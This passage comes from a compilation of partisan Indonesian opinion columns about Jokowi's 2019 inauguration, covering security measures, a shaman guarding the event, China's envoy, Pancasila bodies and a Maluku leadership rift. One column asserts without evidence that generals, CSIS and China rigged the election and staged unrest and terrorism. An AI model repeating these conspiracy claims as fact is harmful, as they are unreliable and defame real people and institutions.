publik. Kawasan yang biasanya menjadi tempat hiburan murah rakyat kebanyakan itu dijaga ketat aparat keamanan. Lucunya beberapa kepala daerah di seputar Jakarta juga ikut-ikutan paranoid. Walikota Bekasi Rachmat Effendy juga meniadakan kegiatan car free day di jalan Ahmad Yani, Bekasi. Padahal lokasi sangat jauh dari arena pelantikan. Bupati Bogor Ade Yasin guru dan orang tua yang pelajar dan anaknya ikut unjukrasa menentang pelantikan. Anomali kedua. Polisi memberlakukan larangan unjuk rasa. Larangan berlaku hampir sepekan. Sejak Selasa (15/10) sampai saat pelantikan Ahad (20/10). Unjukrasa, menyampaikan ekspresi politik, pendapat secara lisan dan tulisan adalah hak konstitusional warga negara. Dalam negara demokrasi seperti Indonesia dijamin konstitusi. Polisi tetap bersikeras melarang unjukrasa kendati Presiden Jokowi mempersilakan rakyat dan mahasiswa turun ke jalan. Presiden malah sempat mengaku rindu didemo. Anomali ketiga, TNI dan peralatan tempur dikerahkan secara besar-besaran. Seperti darurat perang. Helikopter, pesawat tanpa awak (drone), pesawat militer dikerahkan untuk memantau keamanan dari udara. Sejumlah panser TNI juga diparkir di beberapa kawasan pusat perbelanjaan di Jakarta. Panglima TNI mengeluarkan ancaman. “Siapapun yang akan menggagalkan pelantikan kabinet, berhadapan dengan TNI.” Dalam negara demokrasi, tugas militer itu mengamankan negara dari ancaman musuh, negara asing. Bukan berhadapan dengan rakyatnya sendiri. Situasi keamanan ketertiban masyarakat adalah domainnya polisi. Bukan militer. Sejak TNI back to basic, TNI harus menjauhkan diri dari hiruk pikuk politik praktis. Sekarang malah diseret-seret kembali ke politik. Mengamankan rezim penguasa. Anomali keempat. Rakyat banyak yang tidak antusias menyambut pelantikan. Bahkan emak-emak menyerukan gerakan “tutup tv dengan taplak meja.” Di twitter seruan #BesokMatikanTVSeharian memuncaki trending topic. Mereka tak peduli, siapa yang mau jadi presiden, siapa yang mau jadi wapres, apalagi siapa yang mau jadi menteri. Situasinya berbeda jauh dengan Pelantikan Jokowi periode pertama. Saat itu rakyat mengelu-elukannya. Terjadi eforia. Di sepanjang jalan Sudirman dan MH Thamrin menuju istana rakyat berdiri berjajar sepanjang jalan. Jokowi bahkan sempat melepas jasnya dan turun dari kendaraan menyalami warga. Anomali kelima, ini merupakan kelainan terbesar demokrasi. Yakni bergabungnya partai oposisi ke dalam pemerintahan. Bahkan capres lawan Prabowo Subianto juga kemungkinan akan bergabung dalam kabinet. Mau dicari dalam buku teks demokrasi yang paling klasik sekalipun, tak ada ceritanya, oposisi kok bergabung dalam kabinet. Malah ikut berebut jatah kursi menteri. Tak heran bila banyak rakyat yang menyatakan kecewa. Baik dari pendukung Jokowi maupun Prabowo. “ Kalau begini ngapain harus pilpres segala?” Sudah menghabiskan anggaran negara trilyunan rupiah, masyarakat bermusuhan, gontok-gontokan, ratusan nyawa melayang sia-sia, akhirnya hanya bagi-bagi kekuasaan. Mengapa sejak awal tidak baku atur saja. Tak perlu melibatkan rakyat. Silakan atur negara ini suka-suka. Fenomena ini hanya bisa terjadi di Indonesia. Demokrasi khas ala Indonesia. Ala Nusantara. End

Kalau Benar Pakai Dukun, Kita Mundur Ratusan Tahun

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Ada video tentang adegan paranormal. Namanya, Ki Sabdo. Sang Dukun sedang duduk bersila di lobi gedung Nusantara 5 di DPR, Senayan. Dia kelihatan membaca mantra. Tak lama kemudian selesai. Si perekam video bertanya kepada Pak Dukun tentang apa yang dia kerjakan. Menurut dukun yang berpakaian serba hitam itu, termasuk blangkonnya, dia sedang melakukan gladi bersih untuk peranan sebagai penjaga atau pengawal pelantikan Jokowi-Ma’ruf, 20 Oktober 2019. Ki Sabdo menjelaskannya dengan lengkap. Dia sudah membooking ratu pantai selatan, Nyi Roro Kidul berserta pengawalnya yang bernama Nyi Blorong. Juga diikutsertakan Jin Kayangan. Mereka inilah yang akan mengamankan pelantikan Jokowi-Ma’ruf. Intinya, kata Ki Sabdo, persiapan untuk pengawalan pelantikan sudah sangat mantap. Gladi bersih ini, sesuai video, dilakukan hari Jumat (18 Oktober 2019). Benarkah pihak Istana yang mengerahkan Ki Sabdo? Staf ahli utama kepresidenan, Ali Mochtar Ngabalin, mengatakan Istana tidak pernah mengerahkan paranormal atau dukun. Tetapi, di akhir video yang dimaksud di atas, Ki Sabdo mengatakan “iya” ketika ditanya apakah dia disuruh oleh Jokowi. Perlukah Jokowi mengerahkan kekuatan gaib untuk mengamankan pelantikannya? Soal perlu atau tidak, tentu ini tergantung Jokowi sendiri. Namun, pengerahan dukun untuk ikut mengamankan pelantikan memperlihatkan Jokowi meyakini kekuatan magis. Ini sepenuhnya hak beliau. Hak untuk mempercayai bentuk-bentuk kekuatan magis. Tidak ada yang bisa melarang. Cuma, apakah kepercayaan kepada kekuatan magis itu sesuai dengan norma-norma agama, khususnya agama Islam yang dianut oleh Pak Jokowi? Tentu ini sangat kontroversial. Terlepas dari sudut pandangan norma agama, pengerahan paranormal atau dukun dengan tujuan untuk mengawal acara pelantikan presiden, memunculkan beberapa masalah. Pertama, pengerahan paranormal atau dukun mencerminkan ketidakpercayaan pada berbagai institusi keamanan negara. Terlihat ada keraguan terhadap kemampuan kepolisian, badan intelijen dan TNI untuk mengamankan rangkaian pelantikan. Semua lembaga keamanan ini tidak mengenal kekuatan magis sebagai musuh atau ancaman bagi mereka. Terkesan pengerahan dukun itu meremehkan aparatur keamanan. Kedua, pengerahan paranormal jelas menunjukkan kemunduran spiritual dan intelektualitas ratusan tahun. Tuhan Yang Maha Esa menurunkan bantuan kepada manusia agar makhluk yang terbaik ini terbebas dari belenggu kehinaan intelektualitas. Allah mengirimkan utusan silih berganti untuk menjelaskan agar manusia tidak menyembah atau bersujud kepada sesama makhluk. Penjelasan itu didakwahkan ke Indonesia sekitar 700-an tahun yang lalu. Sampai akhirnya kita mantap dalam teologi keesaan Allah. Kita yakin bahwa hanya Allah-lah sumber segala kekuatan dan kekuasaan. Jadi, pengerahan dukun mengembalikan Anda ke masa sebelum kedatangan risalah yang membebaskan manusia dari cengkeraman kebodohan (jahiliyah). Ketiga, pengerahan dukun (paranormal) akan menjadi teladan yang membingungkan bagi generasi milenial. Prinsip perdukunan tidak sejalan dengan ‘creative thinking’ (berpikir kreatif). Tidak akan bisa terhubung dengan ‘digitalized technology’ (teknologi terdigital). Intinya, penyertaan dukun dalam acara-acara kenegaraan akan menyampaikan pesan yang kontradiktif tentang kapasitas para pemimpin. Di satu pihak, para penguasa mengatakan mereka ingin mempercepat pembangunan sains dan teknologi. Namun, di pihak lain, para penguasa juga menunjukkan isyarat bahwa pikiran mereka terbelenggu oleh perdukunan yang tidak punya sambungan dengan sains dan teknologi itu sendiri. Akibatnya, muncul pertanyaan apakah para penguasa memahami atau tidak terobosan sains dan teknologi yang berlangsung terus-menerus. Apakah mereka mengerti bahwa sains dan teknologi adalah buah dari pembebasan manusia dari sungkupan kebodohan dan kelemahan. Itulah tiga hal yang perlu kita cermati terkait penyertaan dukun atau paranormal di dalam aspek-aspek kehidupan kita. Semoga kita tidak masuk ke dalam terowongan yang akan membawa kemunduran intelektualitas. Ratusan tahun ke belakang. [] 20 Oktober 2019

Spesialnya Wapres China dan Hinanya Rakyat Indonesia

Adapun China nampaknya memberi perhatian spesial kepada Jokowi. Wakil Presiden China, Wang Qishan, secara khusus diutus China untuk menghadiri pelantikan Joko Widodo - Ma'ruf Amin. Bahkan, Sebelum ke Jakarta, Wang Qishan terlebih dahulu berkunjung ke kampung halaman Jokowi di Surakarta atau Solo, Jawa Tengah. [Catatan Pelantikan Jokowi - Ma'ruf] Oleh : Nasrudin Joha Jakarta, FNN - Wakil Ketua MPR Arsul Sani menyebut, pelantikan Joko Widodo-Ma'ruf Amin sebagai Presiden dan Wakil Presiden periode 2019-2024 pada Minggu (20/10/2019) mendatang akan dihadiri oleh para tamu lebih dari 20 negara. Thailand mengutus deputinya untuk menghadiri pelantikan Presiden dan Wakil presiden terpilih periode 2019-2024. Sementara Amerika Serikat dan Laos mengirim utusan khusus. Adapun China nampaknya memberi perhatian spesial kepada Jokowi. Wakil Presiden China, Wang Qishan, secara khusus diutus China untuk menghadiri pelantikan Joko Widodo - Ma'ruf Amin. Bahkan, Sebelum ke Jakarta, Wang Qishan terlebih dahulu berkunjung ke kampung halaman Jokowi di Surakarta atau Solo, Jawa Tengah. Pada Jumat (18/10/2019), Wang Qishan mendapat jamuan spesial dari Wali Kota Surakarta, FX Hadi Rudyatmo di rumah dinasnya, Loji Gandrung. Berbagai tarian tradisional dan makanan tradisional disuguhkan kepada rombongan Wapres China ini. Wang dikabarkan pernah berada di Solo pada sekitar tahun 1960. Kedatangan ke Solo juga untuk bernostalgia masa kecilnya. Untuk menjamu dan melayani tamu-tamu dari luar negeri termasuk tamu spesial dari China, Istana telah menyiapkan 18 mobil Mercedes Benz. Mercedes Benz S 450 L untuk tamu kepala negara atau perdana menteri. Mercedes Benz E 300 untuk utusan kepala negara. Total anggaran yang dikeluarkan untuk menyewa 18 mobil Mercedes Benz tersebut mencapai Rp 1 miliar. Sementara untuk tempat penginapan, Istana merekomendasikan Hotel Fairmont, Mulia, Sultan, Four Season. Alasannya, agar tamu negara tidak memakan banyak waktu saat menempuh perjalanan menuju gedung DPR/MPR pada tanggal 20 Oktober. Lantas apa yang telah dipersiapkan istana untuk menyambut rakyat dalam pelantikan? Suguhan apa yang akan dipersembahkan istana untuk rakyat? Nampaknya rakyat nasibnya tak seindah tamu negara, apalagi tamu dari China. Rakyat tidak akan mendapatkan layanan mobil mewah, penginapan megah, apalagi sempat mendapat jamuan spesial dan tari-tarian hangat dari penguasa. Rakyat, telah disuguhi kawat berduri, larangan menyampaikan pendapat padahal itu satu-satunya yang dimiliki rakyat, bahkan sudah disiapkan 31.000 pasukan untuk 'menyambut' (baca: menghadang) rakyat. Wajar saja tak ada kebahagiaan yamg dirasakan rakyat dalam pesta ini. Hina sekali perlakuan rezim ini pada rakyatnya? Sementara Wapres China seperti mengunjungi salah satu provinsinya saja. Mendapat penyambutan dan pelayanan serba wah, bahkan bisa bernostalgia hingga ke solo, mendapat hidangan lezat diiringi tarian hangat. China juga tak mencukupkan staf atase atau kedubes yang menghadiri pelantikan. Mungkin karena China menganggap Indonesia salah satu provinsinya, maka yang diutus langsung Wapres China. Bahkan, layaknya mengunjungi provinsi bawahan, Wapres China juga nyambi plesir ke Solo, tidak hanya menghadiri pelantikan. Itulah perlakuan berbeda yang disuguhkan penguasa pada rakyat di negeri ini. Meskipun kekuasan ditopang oleh pajak rakyat, tapi mereka tidak bekerja melayani rakyat sebagaimana mestinya. Justru, kepada China yang tidak pernah membayar pajak pelayanannya begitu terlihat istimewa.

Menanam Pancasila dengan Pupuk Kemunafikan

Anda berceramah tentang kejujuran tetapi Anda sendiri tiap hari menilap uang rakyat. Anda jelaskan soal keadilan sosial, tapi Anda lakukan kezaliman di mana-mana. Kalian pidatokan perihal kemanusiaan sementara kalian sendiri kejam, beringas, brutal. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Dulu, di zaman Orde Baru, ada BP7. Huruf ‘p’-nya sampai tujuh biji. Badan Pembinaan Pendidikan Pelaksanaan Pedoman Penghayatan dan Pengamalan Pancasila (BPPPPPPP). Terpaksa disingkat BP7. Tahu kenapa disingkat pakai angka ‘7’? Sebab, kalau diketik lengkap BPPPPPPP di dalam dokumen harian atau di dalam korespodensi, khawatir huruf ‘p’-nya kurang atau lebih. Tak percaya, coba Anda hitung huruf ‘p’ yang tertulis di atas. Ada tujuh biji atau tidak? Nah, begitulah susahnya pemerintah Orde Baru memasyarakatkan Pancasila. Dibuat badan khusus dengan biaya besar. BP7 menggurita ke seluruh Indonesia. Di mana ada kabupaten, di situ ada BP7. Waktu itu, para petinggi negara khawatir rakyatnya tidak paham Pancasila dan tidak pancasilais. Digagaslah BP7 sebagai mesin injeksi Pancasila. Saking hebatnya mesin injeksi ini, Anda tak akan bisa hafal kepanjangan BP7 itu dalam tiga kali baca. Coba saja. Mesin injeksi Pancasila buatan Orde Baru itu digunakan sebagai alat untuk memompakan nilai-nilai falsafah bangsa itu ke dalam diri pegawai negeri dan mahasiswa. Mereka ini dianggap sebagai lapisan yang menentukan Indonesia menjadi pancasilais atau tidak. Dilaksanakanlah penataran P4, Pedoman Penghayatan dan Pengamalan Pancasila. Dengan tujuan agar orang yang ditatar menjadi baik. Agar jiwa yang tidak pancasilais lenyap dari birokrasi. Dan agar para calon pemimpin yang sedang sekolah di perguruan tinggi, menjadi manusia pancasilais. Hasilnya? Korupsi merajalela. Penyelewengan uang negara makin marak. Jurang kaya-miskin melebar terus. Penggundulan hutan mencapai puncaknya. Para pelaku kejahatan ini semuanya hafal Pancasila. Mereka sudah diwisuda sebagai peserta penataran P4 100 jam atau 125 jam. Penataran Pancasila tak punya dampak apa-apa. BP7 buang-buang duit. Akhirnya badan ini dibubarkan. Fast forward, di bulan Juni 2017 dibentuk Unit Kerja Presiden Pembinaan Ideologi Pancasila (UKP-PIP). Ada perasaan Pancasila tidak membekas. Banyak yang tidak paham. Inilah alasan untuk membuat model baru mesin injeksi Pancasila pengganti BP7. Persiden Jokowi lebih serius lagi. UKP-PIP dinaikkan menjadi Badan Pembinaan Idoelogi Pancasila (BPIP). Inilah versi mutakhir mesin injeksi Pancasila. Semua crew di sini bergaji besar. Target: manusia pancasilais sejati akan segera dirilis. Hasilnya? Omong kosong. Protipe pancasilais tak kunjung muncul. Korupsi tetap merajalela. OTT KPK, siapa takut? BUMN menjadi sarang korupsi. Pemilu menjadi ajang jual-beli suara. Pilpres penuh dengan kecurangan dan penipuan. Semua lembaga kepemiluan dihuni oleh orang-orang yang haus duit. Suara rakyat ditipu. Yang benar dikatakan salah, yang salah dibalik menjadi benar. Parpol-parpol tetap melakukan cara haram mencari dana operasional. Kelakuan para pimpinan parpol tak berubah. Masih terus munafik. Hidup mewah tapi sok peduli rakyat kecil. Pura-pura bersih, padahal maling semua. Pancasila mereka permainkan, mereka silatlidahkan. Semakin brengsek. Para pejabat tinggi di semua tingkat menjadi ganas. Semua diolah untuk memperkaya diri. Mereka berkoar-koar mau memperbaiki kehidupan rakyat. Tetapi sejatinya mereka munafik. Nah, ini dia. Kita temukan sekarang ‘keyword’-nya. Kata kuncinya: munafik dan kemunafikan. Kemunafikan itulah yang menjadi masalah besar. Bagaimana mungkin kalian bisa mengharapkan nilai-nilai luhur Pancasila tumbuh kalau pupuknya kemunafikan? Anda berceramah tentang kejujuran tetapi Anda sendiri tiap hari menilap uang rakyat. Anda jelaskan soal keadilan sosial, tapi Anda lakukan kezaliman di mana-mana. Kalian pidatokan perihal kemanusiaan sementara kalian sendiri kejam, beringas, brutal. Pancasila adalah hidup sederhana dan berbagi. Tetapi kalian semua rakus dan tamak. Kalian bercuap-cuap soal persatuan Indonesia, tetapi di balik itu kalian lakukan perbuatan yang memecah-belah bangsa. Sila “keadilan sosial bagi seluruh rakyat Indonesia” kalian ubah menjadi “keadilan sosialita bagi semua yang banyak duit korupsinya”. Jadi, salah siapa? Yang salah adalah kalian semua yang masih menghuni sistem kenegaraan ini. Kalian adalah problem. Bukan solusi. Kalian penipu, bukan yang ditipu. Kalian perampok, bukan korban. Itulah sebabnya Pancasila tak bisa mengakar. Karena kemunafikan kalian semua. Bukan sosialisasi Pancasila yang menjadi masalah. Bukan karena ketiadaan BP7 atau keberadaan BPIP yang menjadi masalah. Tetapi karena tidak ada keteladanan pancasilais dari kalian semua. Padahal, kalian paham Pancasila. Jadi, pecuma kalian tanam Pancasila kalau pupuknya kemunafikan. Percuma ada BP7 atau BPIP.

Jokowi “Akhirnya” Terbebas dari Sandera Politik!

Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Melihat persiapan pelantikan Presiden – Wakil Presiden Terpilih hasil Pilpres 2019, Minggu (20/10/2019) tampaknya bakal berlangsung aman dan lancar. Apalagi aparat keamanan yang sudah menyiagakan lebih dari 30 ribu anggota TNI-Polri. Dipimpin Kapolri Jenderal Polisi Tito Karnavian, aparat keamanan gabungan itu disiagakan di berbagai sudut kota dan sekitaran Gedung MPR-DPR Senayan, Jakarta, sejak sepekan ini. Tak hanya itu. Dukun pun diikutsertakan “pengamanan”. Dilansir Tempo.co, Jumat (18 Oktober 2019 12:05 WIB), dukun-dukun Pulau Belitung yang tergabung dalam Forum Kedukunan Adat Belitung menggelar ritual dan doa pada Kamis, 17 Oktober 2019, untuk kelancaran pelantikan Joko Widodo – Ma’ruf Amin. Ketua Forum Kedukunan Adat Belitung Mukti Maharip menyebut, ritual dan doa dilakukan dukun Belitung di Rumah Adat Belitong, Jl. Gajah Mada, itu untuk menghilangkan hal-hal negatif yang akan mengganggu pelantikan dan membuat situasi tidak kondusif. Jagad dunia maya juga kembali diramaikan dengan postingan video seorang lelaki dengan busana serba hitam yang disebutnya sebagai Ki Sabdo. Video berdurasi pendek sekitar 2 menit ini, membuat warganet bereaksi keras. Karena lelaki paroh baya ini menyampaikan pernyataan yang semakin membuat masyarakat terpecah dalam menyikapi peta politik Indonesia. Khususnya terkait dilantiknya Presiden dan Wapres Terpilih 2019-2024, Minggu, 20 Oktober 2019. Dalam video tersebut, terlihat Ki Sabdo duduk bersila atau bersemedi tepat di depan pintu gedung DPR/MPR Nusantara V. Hampir sekitar 20 detik lebih, Ki Sabdo bersemedi, sampai akhirnya menangkupkan kedua belah tangannya di wajah. Lantas, dirinya berdiri dan menyampaikan apa yang sedang dilakukannya. Setelah ada sebuah pertanyaan dari seseorang yang tak terlihat di dalam video. Ki Sabdo menyampaikan, bahwa dirinya sedang berada di gedung DPR dan melakukan gladi bersih. “Aku sedang cek anak buah saya. Ratu Selatan, Nyai Roro Kidul, Jin Kayangan dan lainnya. Semua sudah ada di dalam dan sekitarnya. Jadi untuk amankan pelantikan Joko Widodo,” ucap Ki Sabdo dalam video yang -posting Jumat (18/10/2019). Menurut Ki Sabdo Jagad Royo, begitulah dirinya dikenal, dari penglihatannya memang harus ada pengawalan secara spiritual untuk pelantikan Jokowi – Ma'ruf. “Harus ada pengawalan secara spiritual. Ini yang saya taruh di sini komplit sudah,” katanya. “Mulai Nyai Roro Kidul, Nyai Blorong, Jin Kayangan. Mantap sudah, pasti dilantik,” tegas Ki Sabdo. Dirinya juga menjawab, bila ada yang menghalangi pelantikan Jokowi – Ma'ruf, maka akan berurusan dengan Ratu Roro Kidul dan dirinya. “Urusan saya. Saya akan bereskan (bila ada yang menghalangi pelantikan, red),” ujar Ki Sabdo. Segawat itukah situasi dan kondisi Ibukota Jakarta jelang pelantikan Presiden – Wapres Terpilih? Mengapa sampai seperti itu pengamanannya? “Perang” Oligarki Apa yang membuat pengamanan begitu ketat jelang dan ketika pelantikan Jokowi – Ma’ruf sebagai Presiden dan Wapres 2019-2024? Sampai perlu melibatkan paranormal alias dukun segala? Sudah musyrikkah bangsa yang dikenal agamis ini? Tampaknya sekarang ini sedang terjadi persaingan (baca: “perang”) untuk berebut pengaruh sebagai pengendali Presiden Jokowi untuk Periode Kedua POTRI (President of The Republic Indonesia) dalam wujud Kabinet Kerja II. Sudah bukan rahasia lagi kalau selama ini ada Oligarki yang menguasai Presiden Jokowi. Selama Periode I jabatannya, “Sejumlah Jenderal”, CSIS, dan China dikenal sebagai Kaum Oligarki pengendali Jokowi, bukan Ketum DPP PDIP Megawati Soekarnoputri. Kehadiran Ketum DPP Partai Gerindra Prabowo Subianto dengan Koalisi Rekonsiliasi yang dibawa mantan Danjen Kopassus ini membuat mereka terancam posisinya sebagai pengendali Jokowi untuk Periode II sebagai POTRI. Karena akan terjadi penggusuran besar-besaran terhadap Oligarki di Istana yang selama ini mengendalikan Jokowi. Kaum Oligarki itu tidak rela kekuasaannya digusur, sehingga tidak bisa kendalikan Jokowi 2019-2024. Mereka pun menciptakan berbagai manuver agar tetap berkuasa, minimal tidak kehilangan semuanya. Tetapi, berbagai planning mereka mentok di tengah jalan. Dan, yang diharapkan tinggal satu: Darurat Sipil. Fakta yang terjadi (di luar putusan yuridis formal), mereka telah memanipulasi hasil Pilpres 2019 dengan kemenangan Jokowi – Ma’ruf, tunggangi KPK dengan sandera Ketum-ketum Parpol Koalisi Jokowi, dan mau Kuasai Kabinet Jokowi II. Sehingga, mereka bisa menjadi penguasa Jokowi Jilid II. Jika rencana pertama tak berhasil, maka mereka menciptakan anarkisme, demo mahasiswa, dan framming isu dengan membawa tuntutan Perppu KPK. Darurat Sipil akan menjadi pilihan akhir mereka. Itulah mengapa suhu politik jelang pelantikan Presiden – Wapres Terpilih, meski Pilpres 2019 sudah lama usai semakin membara. Ini karena Rekonsiliasi sudah bergulir dan UU KPK telah direvisi. Akibatnya, “mereka” terancam lengser dari penguasa rezim Jokowi Jilid I. Mereka ciptakan berbagai aksi massa, anarkisme, separatisme, dan seterusnya. Jika tak ada rekonsiliasi, maka tidak ada segala aksi massa, separatis, anarkis, teroris dan lain-lain itu. Jika tidak ada rekonsiliasi dan tidak ada revisi UU KPK maka mereka tetap menjadi penguasa rezim Jokowi Jilid II: Oligarki, kolaborator China sebagai penindas umat-rakyat. Jadi, semua aksi massa, anarkisme, gejolak, separatisme, terorisme, framming isu dan opini terjadi pasca rekonsiliasi itu adalah ciptaan “Sejumlah Jenderal” itu untuk bertahan menjadi penguasa rezim Jokowi Jilid II. Jika tetap gagal, mereka akan paksakan “Darurat Sipil” sebagai upaya terakhir. Pembusukan citra Polri dapat terjadi karena oknum pimpinan Polri adalah kader “Sejumlah Jenderal” itu. Momentum terbaik Darurat Sipil mereka itu adalah chaos pada aksi massa mahasiswa yang menuntut penerbitan Perppu KPK. Korban berjatuhan, polisi jadi sasaran amarah, Darurat Sipil diterapkan, TNI AD pegang komando, Kabinet disusun mereka. Jadi, sebagian rakyat, mahasiswa, elit Indonesia secara tidak sadar telah jadi korban tipu daya dan tunggangannya. Massa ikut-ikutan mendesak terbitnya Perppu, latah meminta Prabowo tidak masuk kabinet. Massa tak sadar sedang membantu mereka tetap jadi penguasa. Fungsi Darurat Sipil itu sama dengan Perppu KPK yakni alat bagi mereka untuk memaksakan kehendaknya dalam penyusunan Kabinet Jokowi II. Setelah berhasil susun Kabinet Jokowi II, mereka jadi penguasa rezim kembali, maka Darurat Sipil dicabut. Seandainya Megawati-Jusuf Kalla-Budi Gunawan-Prabowo tidak menggulirkan Rekonsiliasi – UU KPK tidak direvisi, maka tidak akan terjadi gejolak, anarkisme, sabotase separatisme, provokasi, framing isu-opini, dan lain-lain menjelang 20 Oktober 2019, karena mereka sudah pasti kembali jadi penguasa. Sikap Jokowi sendiri ditentukan oleh konstelasi politik terakhir, Minggu, 20 Oktober 2019. Yaitu: Pemenang Perang Proksi III antara: Kubu Rekonsiliasi Mega-JK-BG-Prabowo Cs versus “Sejumlah Jenderal”. Namun, sampai hari ini Kubu Rekonsiliasi jauh lebih unggul dari mereka, selama Prabowo konsisten di Kubu Rekonsiliasi. Selama UU KPK hasil revisi eksis (Perppu tidak diteken). Selama rencana chaos dapat digagalkan. Maka mereka pasti lengser dari penguasa rezim. Jika kemenangan Kubu Rekonsiliasi atas “Sejumlah Jenderal” tersebut terjadi, maka kabinet Jokowi II akan sangat berbeda dengan Kabinet Jokowi I. Kabinet Jokowi II mengakomodir representasi umat Islam, steril dari elit “Sejumlah Jenderal”. Prabowo-BG menjadi Duet Pengendali di kabinet dan pemerintahan. Jika Kubu Rekonsiliasi menang perang Proksi III, dominasi Liberal Sekuler – Anti Islam pada Kabinet Jokowi II akan diganti dengan Nasionalis-Islam. De-Islamisasi di KPK akan berhenti. Sekitar 70% penyidik KPK antek “Sejumlah Jenderal” – CSIS digusur. Mereka bakal diseret jadi tersangka dan napi korupsi. Itulah prediksi yang bakal terjadi dalam detik-detik jelang prosesi pelantikan Presiden Jokowi – Wapres Ma’ruf. ***

Menyoal Keharmonisan Gubernur & Wakil Gubernur Maluku

Memanasnya hubungan dua pejabat ini, akan turut memanaskan suasana batin di jajaran birokrat. Pengalaman membuktikan, polarisasi politik akan makin kentara jelang pemilihan periode berikutnya. Karena masing-masing kubu akan berupaya berebut pengaruh. Kalau sudah bergini, lagi-lagi pelayanan publik akan dikorbankan. Oleh M. Ikhsan Tualeka Jakarta, FNN - Wakil Gubernur Maluku Barnabas Orno protes keras. Protes itu terkait nama Wagub Orno yang tidak dalam daftar nama-nama pejabat yang harus disebutkan oleh Gubernur Maluku Murad Ismail dalam sambutan saat peresmian Rumah Sakit Umum Pemerintah (RSUP) dr. J. Leimena yang juga dihadiri oleh Menteri Kesehatan Nila Moeloek, pada tanggal 16 Oktober 2019. Orno merasa tidak dihargai. Karena hal seperti ini sudah sering terjadi. Orno menuding Biro Humas dan Protokoler Pemerintah Provinsi Maluku gagal menjalankan tugas. Akibatnya, dapat menyebabkan keretakan hubungannya dengan Gubernur. Tidak ada nama Wagub di daftar yang harus disebutkan dalam sambutan Gubernur menjadi pertanda ada birokrasi yang tidak beres di protokol dan humas. Mereka bisa saja lelet atau ada persoalan yang lain. Harusnya ditelusuri apa saja penyebabnya Jika benar ada kesalahan di internal, maka mereka harus segera dievaluasi. Namun evaluasinya tidak perlu diungkapkan ke publik. Karena publik akan cenderung membaca situasi ini sebagai sinyal bahwa ada yang kurung beres di internal pemerintahan. Sebenarnya bukan hanya soal penyebutan nama dalam sumbutan Gubernur. Meski baru seumur jagung, Murad dan Orno sudah sering terlihat kurang senyawa. Perbedaan pandangan diantara mereka yang sering mengemuka ke publik. Misalnya, soal legalisasi minuman sopi adalah salah satu adegan yang bisa direkam publik. Masyarakat bisa menganggap kalau mereka bedua kerap berada pada perspektif yang berbeda dalam melihat satu persoalan. Sejumlah rumor lain turut mempertegas dan mengkonfirmasi adanya disharmoni itu. Sebenarnya ini situasi yang tak begitu mengagetkan. Bila dibandingkan dengan melihat trend hubungan relasi kepala daerah di berbagai tempat. Umumnya hubungan Kepala Daerah dan Wakilnya sudah tidak harmonis di awal-awal masa jabatn Berdasarkan dara dari Kementrian Dalam Negeri RI (2015), tercatat sekitar 75 persen pasangan kepala daerah (Bupati dan Wakil Bupati/Wali Kota dan Wakil Wali Kota ataupun Gubernur dan Wakil Gubernur) di Indonesia hubungan kerjanya tidak harmonis. Dampaknya sangat mempengaruhi kinerja pembangunan di daerah tersebut. Bila hubungan kedua kepala daerah harmonis, maka kinerja pemerintahan akan berjalan maksimal. Daerah tentu saja akan semakin maju. Guna mengantisipasi hal seperti ini, sebenarnya pemerintah telah berupaya dengan menyodorkan pilihan pada draf awal UU No 23 Tahun 2014 tentang Pemerintah Daerah. Dalam draf awal Rancangan Undang-Undang (RUU) tersebut, hanya Wali Kota/Bupati dan Gubernur saja yang dipilih dalam pilkada. Sedangkan wakilnya adalah dari kalangan birokrat. Namun tawaran itu kandas, karena ditolak oleh kalangan DPR. Pengalaman di sejumlah daerah membuktikan keharmonisan antara Bupati/Walikota dan Gubernur dengan Wakil Gubernur hanya bertahan antara enam bulan hingga satu tahun pemerintahan. Sesudah itu, mulai muncul konflik. Hubungan diantara mereka menjadi tidak lagi harmonis. Biasanya diakibatkan karena kurangnya komunikasi, konflik kepentingan, dan tidak memahami tugas masing-masing. Namun dari semua itu, masalah paling krusial biasanya karena sejumlah Wakil Bupati/Wakil Walikota ataupun Wakil Gubernur tidak bisa menahan diri. Selain itu tidak menyadari akan tugasnya sebagai seorang wakil. Sebaliknya, seorang Bupati/Walikota ataupun Gubernur tidak memiliki leadership yang baik untuk dapat memobilisasi dan mengakomodir potensi yang dimiliki oleh pasangannya. Berikutnya adalah soal komunikasi yang kurang bagus antara keduanya. Kondisi ini berakibat pada hubungan dintara mereka yang tidak baik pula. Selanjutnya berdampak pada pengambilan kebijakan pembangunan didaerah tersebut. Situasi ini makin diperparah oleh pengaruh orang-orang di lingkaran kekuasaan mereka. Baik itu yang di lingkaran formal, seperti jajaran birokrasi, maupun yang informal seperti bekas tim sukses. Mereka inilah yang menjadi ‘pembisik utama' atau ‘orang dekat’. Situasi seperti kalau dibiarkan, akan menyebabkan pembelahan birokrasi dan masyarakat. Akan muncul kubu-kubuan di tubuh birokrasi. Dalam banyak hal, dampak dari hubungan tidak harmonis ini akan memunculkan perpecahan pada kalangan birokrasi. Karena akan membuat birokrasi bisa terbelah dalam split loyalis. Memanasnya hubungan dua pejabat ini, akan turut memanaskan suasana batin di jajaran birokrat. Pengalaman membuktikan, polarisasi politik akan makin kentara jelang pemilihan periode berikutnya. Karena masing-masing kubu akan berupaya berebut pengaruh. Kalau sudah bergini, lagi-lagi pelayanan publik akan dikorbankan. Mestinya setelah dilantik, pimpinan eksekutif harus duduk bersama. Membuat roadmap bersama. Setelah itu melaksanakan tugas dan kewajibannya secara bersama-sama pula. Sesuai dengan yang dijanjikan dan diamanatkan oleh Undang-Undang. Begitu pula jika ada persoalan antara kepala daerah dengan wakilnya. Seharusnya dapat diselesaikan secara internal. Tidak perlu untuk diumbar ke ruang publik. Ibarat pasangan ‘suami-istri’, bila ada masalah, cukup diselesaikan di kamar atau di atas ranjang. Anak-anak tak perlu sampai mengetahui, apalagi tetangga. Pasangan kepala daerah juga harus memperbanyak sabar dan menahan diri. Kalau tidak sabar, apalagi semua ingin maju dan tampil, tanpa ada koordinasi, bisa runyam. Masing-masing harus bekerja sesuai porsinya. Saling menghargai dan menjaga komunikasi diantara mereka. Kalau komunikasinya intensif, maka hubungan kepala daerah dengan wakilnya akan baik pula. Intinya, keharmonisan hubungan kepala daerah mesti terjaga guna menjamin kinerja pembangunan di daerah dapat berlangsung dengan baik dan lancer. Semuanya untuk mencapai kemaslahatan bagi masyarakat dan kemajuan daerah tersebut. Masyarakat juga mesti lebih proaktif mengontrol pemerintahan. Caranya, dengan kembali melihat janji-janji kampanye pasangan kepala 